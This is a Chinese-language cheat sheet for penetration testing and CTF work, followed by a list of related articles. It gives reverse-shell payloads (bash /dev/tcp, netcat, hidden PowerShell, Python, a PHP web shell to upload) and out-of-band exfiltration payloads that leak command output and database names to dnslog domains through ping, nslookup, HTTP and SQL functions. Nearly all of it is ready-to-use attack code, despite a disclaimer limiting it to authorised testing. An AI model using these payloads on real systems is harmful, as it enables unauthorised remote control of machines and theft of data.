⚠️ 声明:以下所有内容仅供在自己拥有合法权限的系统、实验室环境或CTF比赛中学习和测试使用。严禁用于任何未经授权的真实攻击,否则后果自负。


一、反弹Shell

核心思路:攻击机监听一个端口(如 nc -lvvp 4444),目标机主动连接该端口,并将命令行输入/输出重定向到这个连接。

1、基于Linux的反向Shell

a) Linux控制Windows

  • 场景:攻击机(Linux)→ 控制目标机(Windows)

  • 攻击机监听(Linux):

    bash

    nc -lvvp 4444

  • 目标机(Windows)执行(选其中一种即可):

    ① 使用 ncat(推荐,需在Windows上安装nmap套件):

    cmd

    ncat -e cmd.exe 攻击机IP 4444

    ② 使用 PowerShell(无需额外工具,Windows默认有):

    powershell

    powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击机IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

    ③ 使用 powercat(更轻量,可下载):

    powershell

    powercat -c 攻击机IP -p 4444 -e cmd.exe

b) Windows控制Linux

  • 场景:攻击机(Windows)→ 控制目标机(Linux)

  • 攻击机监听(Windows,同样用ncat):

    cmd

    ncat -lvvp 4444

  • 目标机(Linux)执行

    ① 经典Bash反弹(最常用):

    bash

    bash -i >& /dev/tcp/攻击机IP/4444 0>&1

    ② 使用netcat(如果Linux上有nc):

    bash

    nc -e /bin/sh 攻击机IP 4444

    ③ 使用Telnet(当nc不可用时):

    bash

    rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | telnet 攻击机IP 4444 > /tmp/f


2、基于Windows的反向Shell

a) Linux控制Windows

  • 同 1-a(攻击机Linux,目标机Windows)——方法完全一致,不再重复。

b) Windows控制Windows

  • 场景:攻击机(Windows)→ 目标机(Windows)

  • 攻击机监听(Windows):

    cmd

    ncat -lvvp 4444

  • 目标机执行

    cmd

    ncat -e cmd.exe 攻击机IP 4444

    或者使用PowerShell脚本(同上 1-a 的PowerShell命令)。


3、基于Web(Python/PHP)的反向Shell

适用场景:目标机有Web服务(如上传漏洞、命令注入),可通过Web脚本执行系统命令来反弹Shell。

a) Linux控制Windows(目标机为Windows,运行PHP/IIS等)

  • 攻击机监听(Linux):nc -lvvp 4444

  • 在目标机的Web目录上传一个 shell.php

    php

    <?php
    $ip = '攻击机IP';
    $port = 4444;
    $sock = fsockopen($ip, $port);
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    );
    $process = proc_open('cmd.exe', $descriptorspec, $pipes);
    ?>

  • 访问 http://目标机IP/shell.php → 攻击机监听的终端获得Shell。

b) Windows控制Linux(目标机为Linux,运行Python Web应用)

  • 攻击机监听(Windows):ncat -lvvp 4444

  • 目标机(Linux)执行Python反弹(通过Web命令注入或上传脚本):

    python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • 若目标机Web环境是PHP,也可以用PHP脚本反弹(类似上述PHP代码,但改为 /bin/sh)。


二、带外查询(OOB)

核心原理:当常规手段无法直接获取数据时(如SQL盲注、命令执行无回显),让目标机发起DNS/HTTP/ICMP请求到攻击者可控的域名,并将数据作为子域名或参数携带出来。常用平台:dnslog.cnceye.ioBurp CollaboratorInteractsh

1、基于Linux的带外查询

  • 场景:Linux目标机存在命令注入,但无回显。

  • 方法:利用 pingnslookup 将命令结果作为子域名发出。

    bash

    # 假设你注册的DNSlog域名为 xxxx.dnslog.cn
    ping `whoami`.xxxx.dnslog.cn
    # 或
    nslookup `whoami`.xxxx.dnslog.cn

  • 效果:在DNSlog平台会看到类似 root.xxxx.dnslog.cn 的解析记录,其中的 root 就是 whoami 的结果。

  • 进阶:如果命令结果包含特殊字符(如换行、空格),需要用 base64tr 处理:

    bash

    ping `whoami | base64 | tr -d '\n'`.xxxx.dnslog.cn

2、基于Windows的带外查询

  • 场景:Windows目标机存在命令注入,无回显。

  • 方法:使用 pingnslookup 携带数据。

    ① 使用 cmd(for循环)

    cmd

    for /F "delims=" %i in ('whoami') do ping %i.xxxx.dnslog.cn

    ② 使用 PowerShell(更简洁)

    powershell

    $user=whoami; $user=$user.Replace('\','_'); ping $user.xxxx.dnslog.cn

    或者直接用 nslookup(避免ICMP可能被限制):

    powershell

    $user=whoami; $user=$user.Replace('\','_'); nslookup $user.xxxx.dnslog.cn

  • 注意:Windows 的 whoami 输出格式为 域名\用户名,需要把 \ 替换掉(如替换成 _),否则DNS会失败。

3、基于Web(Python/PHP)的带外查询

  • 场景:Web应用存在命令注入、XXE、SSRF,可利用服务器发起外部请求。

  • PHP 示例(利用 exec 执行DNS查询或HTTP请求):

    php

    <?php
    $data = system('whoami');   // 或者从数据库/用户输入获取
    exec("ping {$data}.xxxx.dnslog.cn");
    // 或者发HTTP请求(有些环境DNS被限制,HTTP更通用)
    file_get_contents("http://{$data}.xxxx.dnslog.cn");
    ?>

  • Python 示例(Flask/Django中若存在命令注入):

    python

    import os
    user = os.popen('whoami').read().strip()
    os.system(f"ping {user}.xxxx.dnslog.cn")
    # 或者发HTTP请求
    import requests
    requests.get(f"http://{user}.xxxx.dnslog.cn")

  • Java(JSP)示例

    jsp

    <% 
    String user = System.getProperty("user.name");
    Runtime.getRuntime().exec("nslookup " + user + ".xxxx.dnslog.cn");
    %>

4、基于SQL的带外查询

适用条件:数据库允许发起DNS或HTTP请求(如 LOAD_FILEUTL_HTTPxp_dirtree),常用于盲注。

  • MySQL(需要 secure_file_priv 为空,且用户有FILE权限):

    sql

    SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\abc'));

    数据库名会作为子域名触发DNS解析。

  • SQL Server(利用 xp_dirtreexp_fileexist):

    sql

    DECLARE @host varchar(1024) = (SELECT db_name()) + '.xxxx.dnslog.cn';
    EXEC master..xp_dirtree '\\' + @host + '\share';

  • Oracle(需 UTL_HTTP 权限):

    sql

    SELECT UTL_HTTP.REQUEST('http://' || (SELECT user FROM dual) || '.xxxx.dnslog.cn') FROM dual;

  • PostgreSQL(利用 COPYdblink):

    sql

    -- 需安装dblink扩展
    SELECT * FROM dblink('host='||(select user)||'.xxxx.dnslog.cn user=foo dbname=bar', 'SELECT 1') RETURNS (result int);

  • SQLite(不支持直接DNS,但可写文件到UNC路径(Windows)或利用扩展)。


总结对比表

类型

核心目的

常用工具/命令

适用场景

反弹Shell

获得交互式命令行控制权

bash、nc、ncat、powershell、php/python

命令执行、漏洞利用后提权

带外查询

从无回显的漏洞中窃取数据(一次/少量)

ping、nslookup、DNSlog平台、SQL函数

SQL盲注、XXE、无回显命令执行

最后提醒:在实际渗透测试中,反弹Shell更关注“持久化控制”,而带外查询更常用于“数据窃取”或“存在性证明”。两者都需要结合目标网络出站策略(如是否允许DNS、HTTP外连)灵活选用。

一、反弹Shell相关文章


1. 原理与综合手册

  • 《Shell攻防完全手册:从反弹到后渗透》 (https://blog.csdn.net/cccxcmm/article/details/156309948) 简介:CSDN原创长文,从反弹Shell原理出发,涵盖正向Shell(Bind Shell)与反向Shell的完整对比、Netcat命令拆解(含mkfifo管道详解)、各平台Payload汇总及后渗透思路,体系非常完整。

  • 《渗透利器:反弹Shell(Reverse Shell)的原理、实战与艺术》 (https://blog.csdn.net/weixin_41905135/article/details/150700867) 简介:从“为什么需要反弹Shell”切入,通俗讲解核心原理,配套Bash/Python/Netcat三种实战Payload的逐行拆解,配流程图,适合新手入门。

  • 《反弹Shell技术原理与实践指南》 (http://mp.weixin.qq.com/s?__biz=MzkzNjk4ODUxMg==&mid=2247483848&idx=1&sn=08477354491f320ab3b3fa0351f55743) 简介:微信公众号安全技术文,覆盖Bash、Netcat、Python等常见反弹方式,附命令分解和实验环境搭建步骤。

  • 《反向Shell建立完全手册:Bash、Python、Netcat 6种连接方式成功率实测》 (https://wenku.csdn.net/column/1k1s8chx5v) 简介:CSDN付费专栏文章,从底层TCP协议出发,讲解正向与反向连接的本质差异,结合netstat实战观察连接状态,适合有网络基础的同学。

2. 命令速查类

  • 《反向 Shell 速查表:PHP、ASP、Netcat、Bash 和 Python》 (https://rivers.chaitin.cn/blog/cr1v1110lne0chgvdmm0) 简介:长亭科技博客发布,多语言(PHP/Python/PowerShell/JSP/Java)反向Shell命令大全,附带MSFVenom生成方式和GitHub资源链接,适合快速查阅。

  • 《Linux之渗透测试常用反弹shell方法总结》 (https://cloud.tencent.com.cn/developer/article/2397587) 简介:腾讯云开发者社区文章,从正向反向概念讲起,重点剖析NC多种用法和常见绕过手法。

3. 特殊环境与高级技巧

🌐 二、带外查询(OOB)相关文章


1. 原理与综合概述

2. DNSLog注入实战

3. 命令执行无回显场景

  • 《RCE 无回显情况下的数据回传思路》 (http://mp.weixin.qq.com/s?__biz=MzE5MTA2NTAzMA==&mid=2247484097&idx=1&sn=c78c1716401f787a0eb5f7c5692a539c) 简介:微信安全技术文,将数据外传信道分为DNS、HTTP/HTTPS、文件存储三类,分别给出Linux/Windows下的具体命令,非常实用。

4. XXE/SSRF场景

  • 《xxe无回显》 (https://cloud.tencent.cn/developer/information/xxe无回显-article) 简介:腾讯云开发者社区文章,讲解Blind XXE场景下利用第三方dnslog/http平台外带数据的思路,也提到了PowerShell HTTP外带方法。

🛠️ 三、实用工具与资源